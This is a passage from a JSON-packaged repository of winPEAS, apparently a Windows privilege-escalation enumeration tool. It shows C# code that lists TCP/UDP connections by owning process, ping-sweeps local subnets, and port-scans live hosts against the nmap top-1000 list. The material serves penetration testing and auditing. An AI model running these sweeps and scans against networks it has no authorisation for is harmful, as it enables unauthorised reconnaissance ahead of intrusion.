  // Read and parse the TCP records from the table and store them in list \n                    // 'TcpConnection' structure type objects.\n                    for (int row = 0; row < tcpRecordsTable.dwNumEntries; row++)\n                    {\n                        MIB_TCPROW_OWNER_PID tcpRow = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCPROW_OWNER_PID));\n\n                        // Add row to list of TcpConnetions.\n                        string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid);\n                        if (proc_name == \"Idle\")\r\n                        { //Sometime too many Idle connections that doesn't provide sensitive info\r\n                            continue;\r\n                        }\n\n                        tcpTableRecords.Add(new TcpConnectionInfo(\n                                                Protocol.TCP,\n                                                new IPAddress(tcpRow.localAddr),\n                                                new IPAddress(tcpRow.remoteAddr),\n                                                BitConverter.ToUInt16(new byte[2] {\n                                                tcpRow.localPort[1],\n                                                tcpRow.localPort[0] }, 0),\n                                                BitConverter.ToUInt16(new byte[2] {\n                                                tcpRow.remotePort[1],\n                                                tcpRow.remotePort[0] }, 0),\n                                                tcpRow.owningPid,\n                                                tcpRow.state,\n                                                proc_name));\n\n                        tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow));\n                    }\n                }\n                else if (ipVersion == IPVersion.IPv6)\n                {\n                    MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));\n\n                    IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));\n\n                    // Read and parse the TCP records from the table and store them in list \n                    // 'TcpConnection' structure type objects.\n                    for (int row = 0; row < tcpRecordsTable.dwNumEntries; row++)\n                    {\n                        MIB_TCP6ROW_OWNER_PID tcpRow = (MIB_TCP6ROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCP6ROW_OWNER_PID));\n\n                        string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid);\n                        if (proc_name == \"Idle\")\r\n                        { //Sometime too many Idle connections that doesn't provide sensitive info\r\n                            continue;\r\n                        }\n\n                        tcpTableRecords.Add(new TcpConnectionInfo(\n                                                Protocol.TCP,\n                                                new IPAddress(tcpRow.localAddr, tcpRow.localScopeId),\n                                                new IPAddress(tcpRow.remoteAddr, tcpRow.remoteScopeId),\n                                                BitConverter.ToUInt16(new byte[2] {\n                                                tcpRow.localPort[1],\n                                                tcpRow.localPort[0] }, 0),\n                                                BitConverter.ToUInt16(new byte[2] {\n                                                tcpRow.remotePort[1],\n                                                tcpRow.remotePort[0] }, 0),\n                                                tcpRow.owningPid,\n                                                tcpRow.state,\n                                                proc_name));\n\n                        tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow));\n                    }\n                }\n            }\n            catch (OutOfMemoryException outOfMemoryException)\n            {\n                throw outOfMemoryException;\n            }\n            catch (Exception exception)\n            {\n                throw exception;\n            }\n            finally\n            {\n                Marshal.FreeHGlobal(tcpTableRecordsPtr);\n            }\n\n            return tcpTableRecords != null ? tcpTableRecords.Distinct().ToList() : new List<TcpConnectionInfo>();\n        }\n\n        public static IEnumerable<UdpConnectionInfo> GetUdpConnections(IPVersion ipVersion, Dictionary<int, Process> processesByPid = null)\n        {\n            int bufferSize = 0;\n            List<UdpConnectionInfo> udpTableRecords = new List<UdpConnectionInfo>();\n\n            int ulAf = AF_INET;\n\n            if (ipVersion == IPVersion.IPv6)\n            {\n                ulAf = AF_INET6;\n            }\n\n            // Getting the initial size of UDP table.\n            uint result = Iphlpapi.GetExtendedUdpTable(IntPtr.Zero, ref bufferSize, true, ulAf, UdpTableClass.UDP_TABLE_OWNER_PID);\n\n            // Allocating memory as an IntPtr with the bufferSize.\n            IntPtr udpTableRecordsPtr = Marshal.AllocHGlobal(bufferSize);\n\n            try\n            {\n                // The IntPtr from last call, udpTableRecoresPtr must be used in the subsequent\n                // call and passed as the first parameter.\n                result = Iphlpapi.GetExtendedUdpTable(udpTableRecordsPtr, ref bufferSize, true, ulAf, UdpTableClass.UDP_TABLE_OWNER_PID);\n\n                // If not zero, call failed.\n                if (result != 0)\n                {\n                    return new List<UdpConnectionInfo>();\n                }\n\n                // Marshals data fron an unmanaged block of memory to the\n                // newly allocated managed object 'udpRecordsTable' of type\n                // 'MIB_UDPTABLE_OWNER_PID' to get number of entries of TCP\n                // table structure.\n\n                // Determine if IPv4 or IPv6.\n                if (ipVersion == IPVersion.IPv4)\n                {\n                    MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));\n                    IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));\n\n                    // Read and parse the UDP records from the table and store them in list \n                    // 'UdpConnection' structure type objects.\n                    for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)\n                    {\n                        MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));\n                        udpTableRecords.Add(new UdpConnectionInfo(\n                                                Protocol.UDP,\n                                                new IPAddress(udpRow.localAddr),\n                                                BitConverter.ToUInt16(new byte[2] { udpRow.localPort[1],\n                                                udpRow.localPort[0] }, 0),\n                                                udpRow.owningPid,\n                                                GetProcessNameByPid(udpRow.owningPid, processesByPid)));\n\n                        tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(udpRow));\n                    }\n                }\n                else if (ipVersion == IPVersion.IPv6)\n                {\n                    MIB_UDP6TABLE_OWNER_PID udpRecordsTable = (MIB_UDP6TABLE_OWNER_PID)\n                        Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDP6TABLE_OWNER_PID));\n                    IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr +\n                        Marshal.SizeOf(udpRecordsTable.dwNumEntries));\n\n                    // Read and parse the UDP records from the table and store them in list \n                    // 'UdpConnection' structure type objects.\n                    for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)\n                    {\n                        MIB_UDP6ROW_OWNER_PID udpRow = (MIB_UDP6ROW_OWNER_PID)\n                            Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDP6ROW_OWNER_PID));\n                        udpTableRecords.Add(new UdpConnectionInfo(\n                                                Protocol.UDP,\n                                                new IPAddress(udpRow.localAddr, udpRow.localScopeId),\n                                                BitConverter.ToUInt16(new byte[2] {\n                                                udpRow.localPort[1],\n                                                udpRow.localPort[0] }, 0),\n                                                udpRow.owningPid,\n                                                GetProcessNameByPid(udpRow.owningPid, processesByPid)));\n                        tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(udpRow));\n                    }\n                }\n            }\n            catch (OutOfMemoryException outOfMemoryException)\n            {\n                throw outOfMemoryException;\n            }\n            catch (Exception exception)\n            {\n                throw exception;\n            }\n            finally\n            {\n                Marshal.FreeHGlobal(udpTableRecordsPtr);\n            }\n\n            return udpTableRecords != null ? udpTableRecords.Distinct().ToList() : new List<UdpConnectionInfo>();\n        }\n\n        private static string GetProcessNameByPid(int pid, Dictionary<int, Process> processesByPid = null)\n        {\n            if (processesByPid != null && processesByPid.ContainsKey(pid))\n            {\n                var process = processesByPid[pid];\n                var processName = process.ProcessName;\n\n                try\n                {\n                    processName = process.MainModule?.FileName;\n                }\n                catch (System.Exception ex)\n                {\n                }\n\n                return processName;\n            }\n\n            return string.Empty;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetPinger.cs",
    "content": "﻿using System;\nusing System.Collections.Concurrent;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Net;\nusing System.Net.NetworkInformation;\nusing System.Threading;\nusing System.Threading.Tasks;\nusing winPEAS.Helpers;\nusing WinPEASChecks = winPEAS.Checks.Checks;\n\nnamespace winPEAS.Info.NetworkInfo.NetworkScanner\n{\n    internal class NetPinger\n    {     \n        private int PingTimeout = 1000;\n        private const int MaxConcurrentPings = 50;\n        \n        public ConcurrentBag<string> HostsAlive = new ConcurrentBag<string>();\n\n        private List<string> ipRange = new List<string>();\n\n        public void AddRange(string baseIpAddress, string netmask)\n        {\n            var addresses = NetworkUtils.GetIPAddressesByNetmask(baseIpAddress, netmask).ToList();\n            var range = NetworkUtils.GetIPRange(IPAddress.Parse(addresses[0]), IPAddress.Parse(addresses[1]));\n\n            ipRange.AddRange(range);\n        }\n\n        public void AddRange(IEnumerable<string> ipAddressList)\n        {\n            ipRange.AddRange(ipAddressList);\n        }\n\n        public async Task RunPingSweepAsync()\n        {\n            using (var semaphore = new SemaphoreSlim(MaxConcurrentPings))\n            {\n                var tasks = new List<Task>();\n\n                foreach (var ip in ipRange)\n                {\n                    await semaphore.WaitAsync();\n                    tasks.Add(PingAndUpdateStatus(ip, semaphore));\n                }\n\n                await Task.WhenAll(tasks);\n            }\n        }\n\n        private async Task PingAndUpdateStatus(string ip, SemaphoreSlim semaphore)\n        {\n            try\n            {\n                using (var ping = new Ping())\n                {\n                    var reply = await ping.SendPingAsync(ip, PingTimeout);\n\n                    if (reply.Status == IPStatus.Success)\n                    {\n                        HostsAlive.Add(ip);\n                        Beaprint.GoodPrint($\"    [+] Host alive: {ip}\");\n                    }\n                }\n            }\n            catch (PingException)\n            {\n                // ICMP blocked, invalid address, or host unreachable — treat as down.\n            }\n            catch (Exception ex) when (WinPEASChecks.IsDebug)\n            {\n                Beaprint.PrintException($\"    [!] Ping error for {ip}: {ex.Message}\");\n            }\n            catch (Exception)\n            {\n                // Isolate per-IP failures so a single bad target can't abort the sweep.\n            }\n            finally\n            {\n                semaphore.Release();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkScanner.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Threading.Tasks;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.NetworkInfo.NetworkScanner\n{\n    internal class NetworkScanner\n    {\n        enum ScanMode\n        {\n            Auto,\n            IPAddressList,\n            IPAddressNetmask,\n        }\n\n        private string[] ipAddressList;\n        private bool isAuto = false;\n        private ScanMode scanMode = ScanMode.IPAddressList;\n        private string baseAddress;\n        private string netmask;\n        IEnumerable<int> ports;\n\n        public NetworkScanner(string options, IEnumerable<int> ports = null)\n        {\n            /*\n               --network \"auto\"                          -    find interfaces/hosts automatically\n               --network \"10.10.10.10,10.10.10.20\"       -    scan only selected ip address(es)\n               --network \"10.10.10.10/24\"                -    scan host based on ip address/netmask\n             */ \n            this.ports = ports;\n\n            if (string.Equals(options, \"auto\", StringComparison.InvariantCultureIgnoreCase))\n            {\n                scanMode = ScanMode.Auto;\n            }\n            else if (options.Contains(\"/\"))\n            {\n                var parts = options.Split('/');\n                baseAddress = parts[0];\n                netmask = parts[1];\n                scanMode = ScanMode.IPAddressNetmask;\n            }\n            else\n            {\n                ipAddressList = options.Split(',');\n                scanMode = ScanMode.IPAddressList;\n            }\n        }\n\n        public void Scan()\n        {\n            try\n            {\n\n                List<string> aliveHosts = new List<string>();\n                NetPinger netPinger = new NetPinger();\n\n                if (scanMode == ScanMode.Auto)\n                {\n                    // this is the \"auto\" mode\n                    foreach (var ipAddressAndNetmask in NetworkUtils.GetInternalInterfaces())\n                    {\n                        netPinger.AddRange(ipAddressAndNetmask.Item1, ipAddressAndNetmask.Item2);\n                    }\n                }\n                else if (scanMode == ScanMode.IPAddressNetmask)\n                {\n                    netPinger.AddRange(baseAddress, netmask);\n                }\n                else if (scanMode == ScanMode.IPAddressList)\n                {\n                    netPinger.AddRange(ipAddressList);\n                }\n\n                var task = netPinger.RunPingSweepAsync();\n                task.Wait();\n                aliveHosts.AddRange(netPinger.HostsAlive);\n\n                var outerOptions = new ParallelOptions { MaxDegreeOfParallelism = 5 };\n                Parallel.ForEach(aliveHosts, outerOptions, host =>\n                {\n                    var ps = new PortScanner(this.ports);\n                    ps.Start(host);\n                });\n            }\n            catch (Exception e)\n            {\n                Beaprint.PrintException(e.Message);\n            }           \n        }             \n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/NetworkUtils.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.NetworkInformation;\n\nnamespace winPEAS.Info.NetworkInfo.NetworkScanner\n{\n    internal static class NetworkUtils\n    {\n\n        /// <summary>\n        /// IPAddress to UInteger \n        /// </summary>\n        /// <param name=\"ipAddress\"></param>\n        /// <returns></returns>\n        public static uint IPToUInt(this string ipAddress)\n        {\n            if (string.IsNullOrEmpty(ipAddress))\n                return 0;\n\n            if (IPAddress.TryParse(ipAddress, out IPAddress ip))\n            {\n                var bytes = ip.GetAddressBytes();\n                Array.Reverse(bytes);\n                return BitConverter.ToUInt32(bytes, 0);\n            }\n            else\n                return 0;\n\n        }\n\n        /// <summary>\n        /// IP in Uinteger to string\n        /// </summary>\n        /// <param name=\"ipUInt\"></param>\n        /// <returns></returns>\n        public static string IPToString(this uint ipUInt)\n        {\n            return ToIPAddress(ipUInt).ToString();\n        }\n\n\n        /// <summary>\n        /// IP in Uinteger to IPAddress\n        /// </summary>\n        /// <param name=\"ipUInt\"></param>\n        /// <returns></returns>\n        public static IPAddress ToIPAddress(this uint ipUInt)\n        {\n            var bytes = BitConverter.GetBytes(ipUInt);\n            Array.Reverse(bytes);\n            return new IPAddress(bytes);\n        }\n\n        /// <summary>\n        /// First and Last IPv4 from IP + Mask\n        /// </summary>\n        /// <param name=\"ipv4\"></param>\n        /// <param name=\"mask\">Accepts CIDR or IP. Example 255.255.255.0 or 24</param>\n        /// <param name=\"filterUsable\">Removes not usable IPs from Range</param>\n        /// <returns></returns>\n        /// <remarks>\n        /// If ´filterUsable=false´ first IP is not usable and last is reserved for broadcast.\n        /// </remarks>\n        public static string[] GetIpRange(string ipv4, string mask, bool filterUsable)\n        {\n            uint[] uiIpRange = GetIpUintRange(ipv4, mask, filterUsable);\n\n            return Array.ConvertAll(uiIpRange, x => IPToString(x));\n        }\n\n        /// <summary>\n        /// First and Last IPv4 + Mask. \n        /// </summary>\n        /// <param name=\"ipv4\"></param>\n        /// <param name=\"mask\">Accepts CIDR or IP. Example 255.255.255.0 or 24</param>\n        /// <param name=\"filterUsable\">Removes not usable IPs from Range</param>\n        /// <returns></returns>\n        /// <remarks>\n        /// First IP is not usable and last is reserverd for broadcast.\n        /// Can use all IPs in between\n        /// </remarks>\n        public static uint[] GetIpUintRange(string ipv4, string mask, bool filterUsable)\n        {\n            uint sub;\n            //check if mask is CIDR Notation\n            if (mask.Contains(\".\"))\n            {\n                sub = IPToUInt(mask);\n            }\n            else\n            {\n                sub = ~(0xffffffff >> Convert.ToInt32(mask));\n            }\n\n            uint ip2 = IPToUInt(ipv4);\n\n\n            uint first = ip2 & sub;\n            uint last = first | (0xffffffff & ~sub);\n\n            if (filterUsable)\n            {\n                first += 1;\n                last -= 1;\n            }\n\n            return new uint[] { first, last };\n        }\n\n        public static IEnumerable<string> GetIPRange(IPAddress startIP, IPAddress endIP)\n        {\n            uint sIP = ipToUint(startIP.GetAddressBytes());\n            uint eIP = ipToUint(endIP.GetAddressBytes());\n            while (sIP <= eIP)\n            {\n                yield return new IPAddress(reverseBytesArray(sIP)).ToString();\n                sIP++;\n            }\n        }\n\n        public static string CidrToNetmask(int cidr)\n        {\n            var nmask = 0xFFFFFFFF;\n            nmask <<= 32 - cidr;\n            byte[] bytes = BitConverter.GetBytes(nmask);\n            Array.Reverse(bytes);\n            nmask = BitConverter.ToUInt32(bytes, 0);\n            var netmask = new System.Net.IPAddress(nmask);\n            return netmask.ToString();\n        }\n\n        public static IEnumerable<string> GetIPAddressesByNetmask(string ipAddress, string netmask)\n        {\n            // TODO\n            // e.g. \n            // netmask should be e.g. 24 - currently we only support this format            \n            string[] range = NetworkUtils.GetIpRange(ipAddress, netmask, false);\n\n            return range;\n        }\n\n        public static IEnumerable<string> GetHostsByIPAndNetmask(string ipAddressAndNetmask)\n        {\n            // TODO\n            // get hosts by ip address & netmask\n\n            // https://itecnote.com/tecnote/c-proper-way-to-scan-a-range-of-ip-addresses/\n            // we nned to (maybe in parallel)\n            // - ping e.g. 3 times\n            // - scan top 5 ports \n            var parts = ipAddressAndNetmask.Split(':');\n\n            return new List<string>\n            {\n                parts[0]\n            };\n        }\n\n        public static List<Tuple<string, string>> GetInternalInterfaces()\n        {\n            List<Tuple<string, string>> result = new List<Tuple<string, string>>();\n\n            foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())\n            {\n                if (ni.OperationalStatus == OperationalStatus.Up &&\n                    (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 || ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet))\n                {\n                    // Console.WriteLine();\n                    foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)\n                    {\n                        if (ip.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)\n                        {\n                            // we need ip address and a netmask as well\n                            result.Add(new Tuple<string, string>(ip.Address.ToString(), ip.IPv4Mask.ToString()));\n                        }\n                    }\n                }\n            }\n\n            return result;\n        }\n\n        /* Convert bytes array to 32 bit long value */\n        static uint ipToUint(byte[] ipBytes)\n        {\n            ByteConverter bConvert = new ByteConverter();\n            uint ipUint = 0;\n\n            int shift = 24; // indicates number of bits left for shifting\n            foreach (byte b in ipBytes)\n            {\n                if (ipUint == 0)\n                {\n                    ipUint = (uint)bConvert.ConvertTo(b, typeof(uint)) << shift;\n                    shift -= 8;\n                    continue;\n                }\n\n                if (shift >= 8)\n                    ipUint += (uint)bConvert.ConvertTo(b, typeof(uint)) << shift;\n                else\n                    ipUint += (uint)bConvert.ConvertTo(b, typeof(uint));\n\n                shift -= 8;\n            }\n\n            return ipUint;\n        }\n\n        /* reverse byte order in array */\n        private static uint reverseBytesArray(uint ip)\n        {\n            byte[] bytes = BitConverter.GetBytes(ip);\n            bytes = bytes.Reverse().ToArray();\n            return (uint)BitConverter.ToInt32(bytes, 0);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/PortScanner.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Net.Sockets;\nusing System.Threading.Tasks;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.NetworkInfo.NetworkScanner\n{\n    class PortScanner\n    {\n        private int TcpTimeout = 500;   // ms\n\n        #region nmap tcp top 1000\n\n        static List<int> nmapTop1000TCPPorts = new List<int>\n        {\n            1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,\n            179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,\n            548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,\n            902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,\n            1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,\n            1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,\n            1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,\n            1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,\n            1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,\n            1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,\n            2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,\n            2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,\n            2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,\n            3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,\n            3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,\n            4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,\n            5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,\n            5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,\n            5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,\n            6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,\n            7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,\n            8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,\n            8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,\n            9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,\n            10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,\n            14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,\n            19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,\n            32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,\n            44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,\n            50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,\n            64623,64680,65000,65129,65389\n        };\n\n        #endregion\n\n        IEnumerable<int> portsToScan = nmapTop1000TCPPorts;\n\n        public PortScanner(IEnumerable<int> ports)\n        {\n            if (ports != null)\n            {\n                portsToScan = ports;\n            }\n        }\n\n        public void Start(string host)\n        {\n            var innerOptions = new ParallelOptions { MaxDegreeOfParallelism = 50 };\n            Parallel.ForEach(portsToScan, innerOptions, port =>\n            {\n                RunScanTcp(host, port);\n            });\n        }\n\n        public void RunScanTcp(string host, int port)\n        {\n            using (var client = new TcpClient())\n            {\n                try\n                {\n                    var connectTask = client.ConnectAsync(host, port);\n                    bool completed = connectTask.Wait(TcpTimeout);\n\n                    if (!completed || !client.Connected)\n                    {\n                        // Timed out: the connect task may still be running and could fault\n                        // later. Attach a continuation that observes (and silences) any\n                        // subsequent exception so it doesn't surface as an\n                        // UnobservedTaskException when the task is GC'd.\n                        connectTask.ContinueWith(\n                            t => { var _ = t.Exception; },\n                            TaskContinuationOptions.OnlyOnFaulted);\n                        return;\n                    }\n\n                    Beaprint.GoodPrint($\"    [+] Open TCP port at: {host}:{port}\");\n                }\n                catch (AggregateException)\n                {\n                    // Connection refused, host unreachable, etc. — port is closed.\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_TCP6ROW_OWNER_PID.cs",
    "content": "﻿using System.Runtime.InteropServices;\nusing winPEAS.Info.NetworkInfo.Enums;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_TCP6ROW_OWNER_PID\n    {\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]\n        public byte[] localAddr;\n        public uint localScopeId;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\n        public byte[] localPort;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]\n        public byte[] remoteAddr;\n        public uint remoteScopeId;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\n        public byte[] remotePort;\n        public MibTcpState state;\n        public int owningPid;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_TCP6TABLE_OWNER_PID.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_TCP6TABLE_OWNER_PID\n    {\n        public uint dwNumEntries;\n        [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]\n        public MIB_TCP6ROW_OWNER_PID[] table;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_TCPROW_OWNER_PID.cs",
    "content": "﻿using System.Runtime.InteropServices;\nusing winPEAS.Info.NetworkInfo.Enums;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_TCPROW_OWNER_PID\n    {\n        public MibTcpState state;\n        public uint localAddr;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\n        public byte[] localPort;\n        public uint remoteAddr;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\n        public byte[] remotePort;\n        public int owningPid;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_TCPTABLE_OWNER_PID.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_TCPTABLE_OWNER_PID\n    {\n        public uint dwNumEntries;\n        [MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]\n        public MIB_TCPROW_OWNER_PID[] table;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_UDP6ROW_OWNER_PID.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.NetworkInfo.Structs\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct MIB_UDP6ROW_OWNER_PID\n    {\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]\n        public byte[] localAddr;\n        public uint localScopeId;\n        [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]\n        public byte[] localPort;\n        public int owningPid;\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/Structs/MIB_UDP6TABLE_OWNER_PID.cs",
